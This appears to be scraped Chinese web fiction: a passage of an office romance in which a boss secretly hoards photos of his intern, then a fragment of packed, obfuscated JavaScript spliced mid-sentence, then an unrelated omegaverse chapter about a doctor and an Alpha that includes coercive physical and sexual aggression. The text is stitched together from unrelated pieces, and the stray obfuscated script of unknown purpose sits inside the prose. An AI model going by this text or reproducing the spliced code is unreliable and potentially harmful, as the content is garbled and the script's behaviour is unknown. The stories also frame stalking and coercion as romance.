沈睿在老城区有一处房子,小院儿里种着一些蔬菜,院中央有一颗苍天的桃树,这院儿是沈父生前最喜欢的住所。 老城区堵车,骆星冉一大早就提前坐地铁赶来了。 果不其然,一抬腿踏进院门,就被沈睿甩来带水的菜叶子糊了一脸。 “骆星冉,你几个意思啊?”沈睿挽着袖子,宽松的运动装上还沾着水珠,应当是刚才正在洗菜。 “什么叫,有没有美女?”沈睿气势汹汹,与骆星冉理论。 虽说两个人是富二代,家里还是世交,但是这样有生活气的生活方式却更让他们适应。 沈睿一般约骆星冉都是在小院儿里,哪里来的美女一说,而且骆星冉居然随便挂他电话,这让他心里更是一阵火。 骆星冉不好意思的摸摸鼻子,尴尬的笑着:“开玩笑,开玩笑,哈哈哈哈……” 沈睿一脸嫌弃的看着骆星冉,觉得一阵怪异,忽然福至心灵的问道:“你不会是谈恋爱了吧?” 骆星冉把菜叶子拍了回去,不耐烦道:“滚滚滚,别瞎说。” 沈睿叹了口气,点头:“也是,你这么多年淡的跟和尚一样,要真能谈恋爱我也算是很欣慰了。” 两人一起洗沈睿自己种的蔬菜,烧了点家常菜,满院鎏金,午阳正酣,俩人忙完后一同坐在院子里的躺椅上。 “沈睿。”骆星冉忽然开口。 沈睿看着初春的曜日,懒洋洋的回应了一声。 “你说,是什么能让一个强大优秀的人变得唯唯诺诺呢?” 沈睿目光一转,看向躺在躺椅上困惑的骆星冉。 “强大的人变得唯唯诺诺?”沈睿问道,语气随意,“那或许是那人本就是唯唯诺诺呢?只是为了生活不得不让自己变得强大?” “是吗…”骆星冉当真开始认真思考起来,“真是奇怪……” 骆星冉见身边的人没了动静,一回神转头发现,沈睿已经盖着帽子睡着了,鼾声均匀,悠闲宁静。 又是一周周一,骆星冉神采奕奕的继续上班打卡,工牌挂在脖子上,刘海弄成了利落温和的中分。 “周媛?”骆星冉一进电梯就看见了熟悉的同事,“今天来这么早吗?” 周媛点点头,神色疲惫,只是画了一个简易的淡妆。 “骆总监。”周媛开口,声音低低的,“你总是这么有活力吗?” 骆星冉听到后“啊?”了一声,随后好笑道,“很累吗?我们每天上班的时间也不多呀?周末没有休息好吗?” 周媛皱起秀眉继续摇头:“不是这个意思骆总监,我们来上班都是不情不愿的,可是骆总监,你看起来很喜欢上班。” 骆星冉摸了摸鼻子,思考着。 还没等他思考出个所以然来,电梯门打开,到了他们的办公区。 骆星冉噙着笑遛到了玻璃办公室门口,悄悄打开一个缝,果然看见了早就已经来了的许知临。 许知临感受到视线,抬起头望了过来,眼中还有刚才工作时的认真。 骆星冉忽然就想到了沈睿那句话,看向许知临那一双眼眸,思考着,为了生活才变得不得不强大吗…… “早上好呀,许总。”骆星冉笑的阳光灿烂,眼神直直盯着许知临。 许知临不自在的轻咳了两声,浅浅的一句“嗯”作为回应,耳尖染上几抹粉红。 骆星冉瞬间感觉自己更有动力了,兴致盎然的坐到工位上开始工作,期间白陆端着咖啡出现在他眼前一次,骆星冉立马把他叫住。 “哎!等下。” 白陆回头,好奇的望向骆星冉。 “你这是给你们许总送的?” 见白陆点点头,骆星冉二话不说就把白陆手里的咖啡抢了过来。 “我送,我送,你继续忙。” 白陆一脸困惑,倒也没有机会让他拒绝,骆星冉拿了咖啡就乐颠颠的走到玻璃办公室前了。 办公室门推开,骆星冉放轻脚步,一边走一边细细观察着认真工作着的许知临。 在没有严肃会议的时候,许知临偏向喜欢穿宽松朴素的黑白衬衫,头发也随意的放了下来,有一种让骆星冉说不出的柔软脆弱感。 骆星冉无声无息的悄悄靠近了许知临,等到咖啡杯与桌面触碰发出清脆一响时,许知临才吓的浑身一震,猛然抬起头来。 骆星冉笑了起来,这人真奇怪,正常人被吓到不应该双目充斥着愤怒吗,这人被吓到后竟然双眼里仅是含着无措,只是在看到是他的一瞬间后从无措变成了柔软。 “怎么是你?”许知临轻浅一笑,五官显得格外柔和起来。 骆星冉看见后心里一阵欢喜,索性倚靠在了许知临办公桌上:“你笑起来很好看呀。” 许知临愣神,又听到骆星冉继续说着。 “你活的不开心吗?为什么不多笑笑呢?” 许知临的右手紧紧攥着,手汗又不受控制的浸润着他的手心。 骆星冉见他这个反应,自觉说错了话,有些不好意思的将手搭在许知临肩膀上。 “那个不好意思……我不是故意的。” 许知临抬头,无所谓的笑笑。 “做什么能让你开心呢?”骆星冉促狭的笑着,“我妈总说,我说话能把哑巴也逗笑,不如你就多和我待待吧。” 许知临看向笑意盈盈的骆星冉,只觉得晌午的阳光都没他的笑容耀眼,他又露出一个笑容来,这次的笑容显得格外鲜活,恍若他短暂的出现在了阳光之下。 “你确实很有活力,也很能让人开心。”许知临道,目光是难掩的柔情。 “啊……是吗。”骆星冉被看的有些不好意思的低下了头,心里更不明白,这样一个如此好看的人,为什么不喜欢抬头看人。 周三下午下班的时候,骆星冉抱着手臂站在玻璃办公室门口,等着那个总是要比别人慢半小时走的人。 出乎意料的,许知临提前出来了,骆星冉笑着,凑过去问: “许总,你这个墙居然是单面的,你是不是看见我在等你才出来的呀?” 许知临红着耳朵点头,现在的他终于敢直视骆星冉的眼睛了,不过他看骆星冉的眼神,有一种近乎虔诚的认真。 哪怕是飞蛾扑火也好,哪怕是一晌贪欢也好,飞蛾扑火前便是此生距离火光最近的时刻,他希望,自己能稍微再靠近一点点。 他什么也不问,任由骆星冉带着他走,上了骆星冉那辆熟悉的车,他乖巧的系好安全带,从始至终,骆星冉让他做什么他便做什么。 “我们去看个电影,晚上我再带你去吃好吃的。” 骆星冉骄傲的开口介绍自己的计划,余光注意到听话乖巧的许知临,又没忍住笑了出来。 “知临哥,你今年多大?” 许知临抿了抿嘴唇,小声回应:“二十九。” 骆星冉觉得更好笑了:“我今年才二十四,怎么感觉知临哥你才更像个小孩。” 喜欢吃甜食,又不敢到人多的地方去,这可不就是小孩吗。 骆星冉霎时间感觉怜爱极了,笑容不自觉的变得更加温柔起来。 许知临却不好意思的低下了头,微红着耳垂,虽然是被嘲弄了,但他的心里仍旧跟吃了蜜饯一样甜蜜。 两个人一起到了电影院,骆星冉取了电影票,是个喜剧电影,他在影院里笑的前仰后合,许知临坐在一旁,目光始终追随着他,眼中淡淡含着笑意。 无论许知临是因为什么笑的,骆星冉觉得自己起码让许知临变得开心了,瞬间心里感觉格外有成就感。 骆星冉知道许知临不喜欢人多,两个人他也定了一个包厢,是一家好评比较多的火锅店,他提前问了白陆,许知临能吃辣,才放心的把人带来了。 火锅的蒸汽把许知临的嘴唇熏的嫣红,眼睛也含着汪汪水光,骆星冉定定的望着,往锅里下着各种他爱吃的。 “你长得真好看。”骆星冉笑着评价道,眼神明亮。 许知临果然顷刻就红了脸,低垂着头,嗫嚅着回答:“你更好看。” 下好了要吃的菜,骆星冉支着头继续看许知临,忽然又说道:“你看我俩,今天像不像在约会?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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骆星冉刚忙完自己的活,悄悄跑到休息室玩手机去了,全然没有看见踏着六亲不认的步伐进到许知临办公室的沈睿。 “沈先生。” 许知临颔首打招呼,起身示意沈睿坐下说。 沈睿也没客气,坐在总裁沙发上就翘起了二郎腿,双臂一展,好似是来视察工作的一般。 “我愿意投资你说的项目,但是吧……”沈睿精明的眼神中闪过一丝疑惑,“那块儿地皮根本没什么太大的作用,为什么非得是那里?” 沈睿自觉自己的市场考察能力是很强的,那块地皮,除了是骆星冉曾经练过赛车的地方以外,根本没有任何让他能觉得可以记住的特点。 许知临的眼神在没有骆星冉的时候,恍若一潭沉渊一般,深不见底,让人一眼望不到边际。 “没什么特别的。”许知临开口,声音是往常的清雅好听,“只是喜欢。” 沈睿却觉得没那么简单,狡黠一笑,开口:“那既如此,许总快拿合同来签吧,这对我来说也不是啥大事。” 许知临颔首,轻言一声“失陪”,便暂时推门离开了办公室。 合同在他车上,来回十五层应该有一段时间,沈睿想。 沈睿眼疾手快的先跑到了许知临办公桌下方的抽屉边,使劲想一拽抽屉,但没想到这玩意居然是带锁的,还是密码锁,本来都打算放弃作罢的沈睿眼尖的看见了许知临的鼠标垫下似乎压着什么东西。 是一张照片,沈睿慢慢抽了出来,看清了照片上的内容。 那张照片赫然是一年前的骆星冉穿着学士服拍的毕业照!!!! 看来照片的原图似乎是周围还有别的人,又被许知临有意的裁剪成只有骆星冉的款式,印成了照片,又过了一遍塑,板板正正的躺在许知临的鼠标垫之下。 照片中骆星冉的脸颊处凹凸不平,似乎是被人经常抚摸过。 霎时间,沈睿感觉一种神秘的电流击遍了他全身,就跟知道了什么滔天的天机一般,鬼使神差的,沈睿将柜子下的密码调成骆星冉生日。 “咔嚓——” 抽屉被沈睿成功拉开了。 沈睿一时间有些犹豫,忽然不知道,这抽屉里的东西,他该不该看。 开都打开了,沈睿最终打算看一看。 整整齐齐的按照时间,地点罗列着骆星冉这几年在世界各地的照片,奖项,甚至还有很多脸沈睿都不知道的小活动照片,竟然都能在这里看见。 沈睿听到了门口响起了一阵脚步声,做贼心虚,他立马关上抽屉调回原来的锁数,回身一看,进来的人居然不是许知临。 “你怎么在这?”骆星冉好奇道,手上还端着一杯咖啡。 沈睿欲言又止,一时间不知道该跟这个故事的主角讲些什么。 骆星冉只当他又犯贱,兀自把刚接好的咖啡放到了许知临桌子上,忽然瞥见许知临的鼠标垫乱了,抬手想要帮他整理一下。 沈睿一时间心提到了嗓子眼,脑子中有两个小人不停的争吵,一个让他告诉骆星冉这件事,一个却让他别说,毕竟这么细致入微的收集照片的变态事,告诉他了害怕让他以后没法面对这个上司。 “怎么了?”骆星冉皱眉,看着这个今天格外不对劲的沈睿。 “没什么。”沈睿深吸一口气,踌躇了很久,说了一句,“你要保护好自己!” 骆星冉:“?” 许知临拿着合同推门而入,沉潭般的双目在看见骆星冉的那一刻便化作了点点星光,让他这一张俊脸更显生机繁茂。 骆星冉弯起双眼,笑意盈盈的眼神从许知临进门后就一直追随者他。 许知临的五官线条是较为锋利的,但总是因为低垂着眼帘叫人难以察觉,可是此刻,在他看向骆星冉的时候,沈睿似乎觉得,那个眼神可以称为……虔诚,小心…… 造孽啊,看来这个骆星冉也并非不是无意,沈睿暗叹道。 这时候身为好朋友的他就要发挥作用了! “许总,这块儿地皮也就跑跑赛车,您就这么喜欢赛车吗?”沈睿好笑的嘲讽道,眼神却是看着骆星冉。 “赛车?”骆星冉听到这个词后浑身一震,有些激动的看向了许知临。 许知临微张着嘴,犹豫片刻,最后还是道:“因为他喜欢。” 沈睿呵呵笑着,抱着手臂,卧在沙发上饶有兴致的看着两个人。 “他是谁啊?许总?”沈睿继续煽风点火。 许知临的神色有些不自在,下意识的看向了骆星冉,微微垂下了脑袋,虽说是个再小不过的动作,但是偏偏骆星冉就注意到了。 但骆星冉却以为是沈睿欺负了许知临,毕竟在他看来,许知临又内向社恐又敏感害羞,肯定是受了欺负。 骆星冉赶忙把许知临护在身后,皱眉看向沈睿:“你做什么?” 沈睿一挑眉,这小子怎么还重色轻友啊,帮他结果他还不乐意。 许知临抬眼看着骆星冉的后背,双目中酝酿着复杂的漩涡。 骆星冉虽然不理解,但是看见许知临一副不情愿的样子,人都有难言之隐,沈睿不讲理惯了,千万不能让人欺负了许知临。 “我?”沈睿笑的一脸不正经。 许知临抿唇,这是他焦虑时经常做的动作。 骆星冉拍了拍许知临的肩膀,释然的笑道:“你别管他,他这人就这样。” 临走前,沈睿一脸讳莫如深的朝着骆星冉笑了笑,看的骆星冉莫名其妙。 “所以你知道我是谁吧?”骆星冉弯起一双好看的眼睛,笑意盈盈的看着许知临,一只手顺带给许知临倒了一壶新泡好的茶。 许知临在外人看来,是一个八面玲珑长袖善舞心思细腻的人,但骆星冉却觉得,这样一个人格外的简单,简单到甚至不会撒谎。 “嗯。”许知临点点头,沉谭般无波的双眼定定看向骆星冉,“你来的第一天我就知道。” “是我爸跟你说了?” 许知临做为他父亲新招收不久的人才,没想到这么器重,竟然提前就说了他要来实习的事情? 许知临眼神飘忽,不再注视骆星冉,低垂下眼帘,看向了手中青瓷茶杯,白皙的指节因为用力抓着茶杯而泛红。 骆星冉自然注意到了,心下了然。 “是我以前见过你,记得你。”许知临开口。 骆星冉却皱眉,他从前见过这样一个人吗?像许知临这样好看的人,他见过一面肯定是不会忘的,怎么会一点印象没有?难不成他失忆了? 许知临似乎是看出了骆星冉的为难,主动开口道:“你不记得我正常,是我见过你,不是你……见过我。” 骆星冉了然的点点头,公司以前经常会办一些典礼,说不定自己哪次去被看见了,也不奇怪。 不对劲,骆星冉思考着,看向许知临的双眼多了几丝打量。 下午眼看着就要下班了,骆星冉提前蹲守在了许知临办公室附近看不见的地方,等许知临一出来,果然把许知临吓了一跳。 “哈哈,吓着你了啊。”骆星冉好笑道,越发觉得许知临异常可爱。 “其实也没啥大事,能不能赏脸跟我去尝尝新开的那家苏菜呀?” 许知临犹豫了一会儿,露出了歉意的表情:“我……今天有应酬。” 骆星冉似乎一眼看出了对方内心的想法,立马凑过去状似可怜遗憾的模样。 “那怎么办好呢,那我只能找别人一起去尝尝了。” 许知临垂首,喉结几下滚动,似乎在做什么内心挣扎。 骆星冉好笑的看着许知临,果然不一会儿,就听见许知临说。 “明天可以吗。” 骆星冉点点头,看起来跟勉强同意了一样。 热闹的街景在苏州并不少见,骆星冉冲完澡,独自一个人坐在落地窗前,一手擦着头发,另一只手正打字给沈睿发着消息。 “我以前认识许知临吗?” 明显沈睿在线,对话框显示了好久的正在输入中,也没等到对方回复,就在骆星冉都要等不及的时候,沈睿终于回了消息。 简明扼要的四个字。 “喜欢就追。” 骆星冉汗颜,虽然俩人从小一起长大,无话不谈,可是这也未免有点太知根知底了吧,自己才有一个想法,这沈睿居然就已经知道了。 摁灭了台灯,骆星冉躺在床上就要昏昏欲睡了,手机忽然又是一声震动。 骆星冉忍不住好奇,揉着眼睛打开了手机。 “我赌你能追到,你追到了把你上次买的那套茶具送我。” 骆星冉皱眉,什么情况,自己兄弟这么确定自己能追到人就算了,居然还这么希望兄弟脱单的感觉? “给不了,已经送许知临了。” 对面发来一个省略号。 追人当然得饱含诚意,骆星冉抢了好久,终于在沈睿的帮助下买到了那只限量款江诗丹顿表。 “许总。”骆星冉敲门进了办公室,笑的温和明亮。 许知临点点头,无论看多少次,他仍旧还是会被骆星冉的笑容打动,不由自主的自己也扬起笑容。 骆星冉觉得许知临肯定是对自己有好感的,索性自信的往许知临身侧一靠,站在办公桌前,弯腰低头注视着许知临的眼睛。 许知临果然瞬间就红起了耳朵,但又不想后退,只能尽可能的低头不去看骆星冉。 可骆星冉身上若有似无的男性香水味儿却全都让许知临闻了去,不知道是不是骆星冉今天喷的多了还是他心理作用,竟觉得味道格外浓郁。 “我要送你一个礼物。” 骆星冉主动拉开了距离,拿出了身后的手提袋。 许知临一眼便看出来那是什么,一下着急,就从座位上站了起来,还没开口,骆星冉就知道他想说什么。 “你的手好看,我喜欢你戴着表,我给你买的不好吗。” 许知临整个脸都红了,嗫喏着不说话,骆星冉静静等着,听到许知临用细若蚊呐的声音说了一句。 “不要做让我误会的事情。” 骆星冉挑眉,一只手抓过了许知临的下巴,掰到了自己面前。 许知临看着唯唯诺诺内向又社恐,但没想到身高比骆星冉还要高。 霎时间,看着许知临仍然无措却涨红的一张脸,许知临脸颊处还有难以看出的婴儿肥,骆星冉没忍住揉了揉。 感觉跟只很大很可怜被主人抛弃的小狗一样,骆星冉矛盾的想。 许知临实在没想到骆星冉居然会去揉他的脸,一时间反抗都忘了,定定看着骆星冉。 “拿着吧,我专门买给你的,你不要就扔了。” 骆星冉松开许知临,无所谓的笑笑,离开了办公室。 44. 第 62 章 咖啡渍在诊室墙面溅开时,沈砚正在填写上一位患者的腺体检测报告。深褐色的液体顺着纯白墙壁蜿蜒而下,像一条丑陋的伤疤。 "标记我,现在。" 玻璃碎片在沈砚脚边弹跳,浓烈的威士忌信息素瞬间充满密闭空间。他握笔的手指微微一颤,墨水在纸上晕开一团模糊的蓝。诊室门禁系统仍在发出刺耳的警报声,提示有未预约的Alpha强行闯入。 沈砚抬头,看见颜黎撑在他办公桌上的手背青筋暴起。三年来第一次,他的"弟弟"没有用那种看脏东西的眼神看他,而是像头濒临失控的野兽般死死盯着他后颈的抑制贴。 "根据《特殊腺体保护法》第七条,"沈砚放下钢笔,白大褂袖口露出一截苍白手腕,"非发情期Alpha强制要求Omega提供信息素,可处三年以上..." "去你妈的法律!"颜黎一把扫开桌上的器械托盘,金属器具哗啦啦砸在地上。他掐住沈砚下巴迫使他抬头,拇指粗暴地碾过对方淡色的唇,"沈医生连自己的Omega都治不好?" 消毒水混着威士忌的味道让沈砚太阳穴突突直跳。他注视着颜黎猩红的眼瞳——那里面的憎恶与渴望正在激烈交战。多讽刺,这个曾公开宣称"Omega就该被圈养"的顶级Alpha,此刻正因腺体排异反应向一个"低贱的Omega"乞求安抚。 "颜总走错科室了。"沈砚拍开钳制自己的手,从抽屉取出镇静剂,"腺体修复科在二楼。" 针尖刺入静脉的瞬间,颜黎突然暴起将他按在墙上。沈砚后脑勺撞到咖啡渍的刹那,嗅到自己抑制贴边缘渗出的白茶信息素——他的腺体又开始发烧了,自从三年前移植了颜黎的腺体组织后,每次颜黎出现都会这样。 "你身上有我的味道。"颜黎鼻尖抵在他颈动脉处深深吸气,犬齿若即若离地磨蹭抑制贴边缘,"那个废物Alpha是谁?让他立刻解除标记。" 沈砚屈膝顶开他,白大褂领口在撕扯中敞开两道扣子。他看见颜黎目光落在自己锁骨处的旧伤疤上——那是颜黎易感期失控时咬的,在他们还没"离婚"的时候。 "您未婚妻没教过基本生理常识吗?"沈砚将新的抑制贴拍在颜黎青筋暴起的后颈,"临时标记三小时就会代谢干净。" 诊室突然陷入诡异的寂静。颜黎的瞳孔剧烈收缩,仿佛被这个时间单位刺痛了某根神经。沈砚知道他为什么反应异常——三年前车祸那天,他们刚在私人诊所完成终身标记,返程途中那辆失控的卡车就撞了上来。 "沈医生。"颜黎突然扯出个狰狞的笑,信息素如浪潮般压来,"你好像很了解我的婚约状况?" 沈砚转身去拿腺体镇定喷雾,后颈突然传来撕裂般的疼痛。颜黎竟徒手撕了他的抑制贴!白茶混着威士忌的信息素轰然炸开,他双腿一软,被Alpha趁机按在诊疗床上。 "98%的匹配度。"颜黎舔舐他腺体上手术缝合的痕迹,声音沙哑得可怕,"难怪我每次见你都硬得发疼。" 沈砚在眩晕中摸到掉落的镇静剂针管。当针头扎进颜黎颈侧时,他听见自己颤抖的呼吸:"颜总既然这么厌恶Omega,就别对着我发情。" 窗外暴雨如注,颜黎倒在他肩上陷入强制镇静。沈砚望着地板上扭曲的咖啡渍,想起三年前颜黎在星巴克偷那株咖啡苗时得意的笑。现在那株植物枯死在办公室角落,就像他们被车祸碾碎的婚戒一样无人问津。 诊室门被助理惊慌推开:"沈医生!颜氏集团送来加急文件——" 沈砚看着烫金信封上"腺体排斥报告"与"订婚宴请柬"并排放置的荒诞画面,后颈移植的腺体突然爆发一阵灼烧般的剧痛。他摘下手套,无名指内侧露出一圈淡白的戒痕。 "准备手术室。"他将请柬扔进咖啡杯,看着鎏金字体在黑色液体里慢慢溶解,"通知神经外科,我要做腺体剥离术。" 咖啡渍在墙面干涸成棕褐色痂皮时,沈砚终于把颜黎移到了VIP观察室。镇静剂作用下,那个不可一世的Alpha此刻安静得像具雕塑,只有起伏的胸膛证明他还活着。 "把腺体扫描仪推过来。"沈砚戴上橡胶手套,金属卡扣咬合的声音在寂静的病房格外清脆。助理小林战战兢兢地递过检测探头,眼睛不断瞟向昏迷中的颜黎——这位商业版图上赫赫有名的"疯狼",此刻睫毛在苍白的脸上投下两道阴影,竟显出几分罕见的脆弱。 沈砚将探头对准颜黎后颈那道弧形伤疤。屏幕亮起的瞬间,他呼吸一滞——移植区域周围布满蜘蛛网般的红色警告,排斥反应指数飙升至危险阈值。这不对劲,颜黎的免疫系统应该对自身腺体组织完全耐受才对。 "沈医生,您的手在抖..."小林小声提醒。 沈砚这才发现检测探头正在自己指尖轻微震颤。他深吸一口气,白茶信息素不受控制地从腺体渗出——这具身体总是比他的理智更先认出颜黎。 "去药房取200ml信息素稳定剂。"沈砚快速点击屏幕调取历史数据,"再联系颜氏医疗团队,要三年前那场车祸的全部手术记录。" 小林离开后,沈砚的指尖悬停在颜黎眉心上方。三年来他修复过无数Alpha的腺体,却唯独不能触碰自己的合法配偶。新颁布的《AO关系法》第39条规定,失效婚姻中的Omega不得对Alpha进行信息素干预,违者将被吊销腺体医师执照。 "你当年撕毁婚约时,倒没想过会有今天。"沈砚的拇指轻轻擦过颜黎干裂的唇瓣,那里还残留着威士忌信息素的辛辣。忽然,他的手腕被猛地扣住——本该昏迷三小时的Alpha竟睁开了眼睛。 颜黎的瞳孔收缩成危险的针尖状:"你在下药?"他另一只手粗暴地扯开沈砚的领口,医用纽扣崩落在地,"让我猜猜,是不是98%的匹配度让你饥渴难耐了?" 沈砚的膝盖狠狠顶在颜黎胃部,趁对方吃痛的瞬间挣脱钳制。白大褂衣领歪斜地挂在肩上,露出锁骨处已经泛白的咬痕。"颜总的想象力比腺体状况健康多了。"他捡起掉落的检测报告拍在颜黎胸口,"按照这个排斥速度,订婚宴前就会完全丧失信息素分泌功能。" 颜黎的表情凝固了。沈砚看着他机械地低头阅读报告,喉结上下滚动——这个动作沈砚太熟悉了,每次颜黎强忍情绪时都这样。三年前他签下腺体移植同意书那天,视频里也是这个表情。 "所以你需要我。"沈砚走向洗手台,水流冲走指尖残留的威士忌味道,"不是作为Omega,而是作为全国唯二持有S级腺体修复执照的医师。" 镜子倒映出颜黎缓缓抬头的画面。Alpha的眼神让沈砚脊椎窜过一阵战栗——那是猎食者发现陷阱时的警觉与兴奋。"条件?"颜黎的声音沙哑得像砂纸摩擦。 沈砚关上水龙头。水滴在寂静中坠落。 "取消订婚。" 颜黎突然大笑起来,笑声震得监护仪发出尖锐警报。他撑着床沿站起来,踉跄着逼近沈砚:"沈医生该不会真以为,我会为了个腺体放弃商业联姻?"他一把扣住沈砚的后颈,拇指重重碾过发烫的腺体,"你们Omega是不是都这么自以为是?" 剧痛让沈砚眼前发黑。他闻到自己信息素失控溢出的味道——白茶混着淡淡的咖啡苦涩,那是颜黎腺体组织在他体内生长的证明。三年来他每天注射抑制剂就为了掩盖这个可耻的秘密:一个移植了Alpha腺体的Omega,医学界的怪胎,颜黎最憎恶的欺骗。 诊室门突然被推开。小林抱着药剂箱僵在门口,眼睛瞪得溜圆——她尊敬的沈医生正被颜氏集团太子爷按在洗手台上,后颈抑制贴不翼而飞,而素来以冷静著称的Alpha此刻犬齿外露,俨然是易感期前夕的失控状态。 "滚出去!"颜黎头也不回地怒吼。 沈砚趁机将镇定喷雾对准他眼睛按下。Alpha吃痛松手的瞬间,沈砚抓起操作台上的手术刀横在两人之间:"颜总再往前一步,明天头条就是''颜氏继承人腺体修复术失败''。" 刀尖在灯光下泛着冷蓝。颜黎抹掉脸上的药剂,突然露出个古怪的微笑:"你拿刀的样子和当年一模一样。" 沈砚握刀的手微微发抖。三年前那个雨夜,他也是这样用水果刀抵着颜黎的咽喉,而对方却笑着把腺体移植同意书拍在桌上。记忆中的场景与眼前重叠,让他险些分不清时空。 "沈医生!"医院保安冲进诊室时,颜黎已经退到安全距离。他慢条斯理地整理袖口,仿佛刚才的失控从未发生。 "明天上午十点,颜氏私立医院。"颜黎将皱巴巴的检测报告塞进西装内袋,临走前意味深长地看了眼窗台上的枯死咖啡苗,"记得带上你的手术刀——和你藏了三年的秘密。" 暴雨拍打着玻璃窗,沈砚缓缓滑坐在地。后颈腺体突突跳动,每一次收缩都像在嘲笑他的徒劳抵抗。小林慌张地跑来帮他贴新的抑制贴,却在看到他腺体瞬间倒抽冷气—— "沈医生...您的腺体上怎么会有颜氏的家族纹章?" 沈砚猛地捂住后颈。这个连他自己都没见过的标记,此刻正透过镜子清晰呈现:一株缠绕着蛇的咖啡苗,与颜黎尾戒上的图案分毫不差。 窗外惊雷炸响,雨幕中隐约可见颜黎的黑色迈巴赫仍停在医院门口。沈砚想起他们第一次约会时也是这样的暴雨天,颜黎把西装罩在他头上说:"咖啡苗最耐活了,就像我们的——" 记忆在这里戛然而止。沈砚摸向无名指的戒痕,那里现在空空如也,就像三年前从车祸废墟里挖出的戒指盒。 清晨七点的颜氏私立医院空荡得像座坟墓。沈砚站在VIP诊疗室门口,白大褂口袋里沉甸甸地躺着三支特制抑制剂——昨晚腺体灼烧整夜未眠,他不得不用双倍剂量来镇压那些不听话的信息素。 "沈医生倒是准时。"颜黎的声音从背后贴上来,温热的呼吸喷在他后颈,"看来很期待我们的...治疗。" 沈砚转身时手术箱撞在门上发出闷响。颜黎只穿了件黑色丝质衬衫,领口大敞着露出锁骨处的淡疤——那是沈砚三年前易感期时咬的,当时Alpha笑着把腺体凑到他嘴边说"留个纪念"。 "脱衣服。"沈砚径直走向诊疗台,金属器械在托盘里叮当作响,"上衣全部脱掉。" 身后传来衣料摩擦的窸窣声。当沈砚戴上手套转身时,颜黎已经裸着上半身靠在诊疗床上,肌肉线条在晨光中像镀了层金边。那道从右肩斜贯至左腹的疤痕狰狞如蜈蚣——车祸留下的纪念品。 "看入迷了?"颜黎用脚尖勾过转椅,"过来,医生。" 沈砚稳了稳呼吸。颜黎的皮肤散发着淡淡的雪松沐浴露味道,但再昂贵的香水也盖不住底层翻涌的威士忌信息素。他拿起检测仪贴在颜黎心口,屏幕立刻跳出成串红色警报。 "心肌细胞信息素受体敏感度下降40%。"沈砚移动探头,在靠近腺体位置时机器突然尖啸,"淋巴系统排异反应指数超标三倍。"他皱眉调出三维成像,"你最近接触过什么特殊辐射?" 颜黎突然抓住他的手腕。Alpha的掌心滚烫,虎口处有道月牙形的旧伤——沈砚咬的,在他们第一次上床那晚。"不如先解释下这个。"颜黎拽着他手指按在自己后颈的缝合线上,"为什么我的腺体切口和你用的缝合手法完全一致?" 沈砚的指尖在疤痕上微微发抖。三年前那场紧急手术中,他戴着血淋淋的手套在无影灯下缝合这条伤口,同时自己的后颈正被植入从颜黎腺体取出的组织。多么讽刺,他们互相在对方身上留下终生印记,却成了最熟悉的陌生人。 "教科书式缝合而已。"沈砚抽回手,酒精棉粗暴地擦过伤疤,"颜总该不会以为全国就我一个医生会连续锁边缝合法?" 颜黎眯起眼睛。阳光从百叶窗缝隙漏进来,在他轮廓分明的脸上划出明暗交错的光带,像副被撕碎的肖像画。沈砚突然想起车祸那天也是这样的晨光,颜黎满脸是血地把一个丝绒盒子塞进他手里,然后救护车的鸣笛声就吞没了整个世界。 "准备穿刺。"沈砚转身取针管,玻璃药瓶在掌心冷得像冰。腺体修复针需要从颜黎髂骨抽取骨髓干细胞,是最疼的介入手术之一。过去的颜黎总会耍赖要他亲一下才肯配合,现在的颜黎只会冷笑着问"医生手抖什么"。 针尖刺入皮肤的瞬间,颜黎的肌肉猛地绷紧。沈砚下意识按住他后腰,这个动作让两人同时僵住——三年前每次穿刺后,他都会用这个姿势帮颜黎按摩酸痛的腰椎。 "技术退步了,沈医生。"颜黎的声音有些沙哑,汗珠顺着脊柱沟滚进裤腰,"还是说..."他突然翻身将沈砚压倒在诊疗台上,"你故意的?" 手术针筒摔在地上发出脆响。沈砚的抑制贴被诊疗台边缘刮开一角,白茶混着咖啡的气息顿时弥漫开来。颜黎的瞳孔骤然收缩,犬齿不受控制地伸长——这是Alpha遇到高度契合信息素时的生理反应。 "放开。"沈砚屈膝顶住颜黎腹部,指尖摸到托盘里的手术剪,"根据《医疗保护法》第——" "去他妈的法条!"颜黎一把扯开他领口,纽扣崩飞的声音像枪响。沈砚锁骨下方的咬痕暴露在空气中,已经淡得几乎看不见,但颜氏家族特有的犬齿间距让这个标记无法伪造。"谁给你胆子让别的Alpha咬在这里?"颜黎的声音危险地低沉,"这是我的位置。" 沈砚突然笑起来。他松开手术剪,主动将脖颈送到颜黎齿尖:"颜总不是最厌恶Omega被标记吗?现在闻闻看,"他拽着颜黎的手按在自己腺体上,"这里面是谁的信息素?" 诊疗室突然安静得可怕。颜黎的指尖陷入那块发烫的软肉,那里正源源不断渗出带着威士忌底调的白茶香——与他自身信息素高度相似却又微妙不同的气味。 监护仪突然发出尖锐警报。颜黎踉跄着后退,太阳穴青筋暴起:"你对我做了什么?"他抓起检测报告砸在墙上,"为什么我的信息素图谱里有你的基因序列?!" 沈砚慢条斯理地整理衣领。窗外的阳光忽然变得刺眼,他看见自己办公室那株枯死的咖啡苗竟然冒出了嫩绿的新芽——这不可能,那株植物已经死了三年。 "简单来说,"沈砚捡起针管,液体在阳光下泛着淡金色,"颜总现在是我的腺体克隆体。"他故意用颜黎最痛恨的科研术语解释,"就像备份硬盘。" 颜黎的表情像是被雷劈中。沈砚知道他在想什么——高傲的Alpha怎么可能接受自己的信息素里混入了Omega的基因印记?但真相远比这更荒唐:不是颜黎被污染,而是沈砚体内流淌着颜黎的腺体组织。 "从今天起,每天上午十点准时来治疗。"沈砚写下处方签,字迹稳得不像刚经历一场搏斗,"错过一次,我就向医学会申请终止治疗关系。" 颜黎一把扣住他手腕:"你明知道新法案规定98%匹配度的AO必须——" "必须什么?"沈砚抬眼看他,"继续一段被您亲手撕毁的婚姻?"他甩开颜黎的手,无名指上的戒痕在阳光下白得刺眼,"颜总三年前在离婚协议上签字时,怎么没想起《特殊匹配保护法》?" 走廊突然传来高跟鞋的咔哒声。沈砚还没反应过来,颜黎已经抓起白大褂罩在他头上。浓烈的威士忌信息素瞬间包裹住他,像道无形的屏障。 "颜总?"娇媚的女声从门口传来,"董事会都等您半小时了——哎呀!"声音在看到诊疗台上的狼藉时陡然拔高,"这位是?" 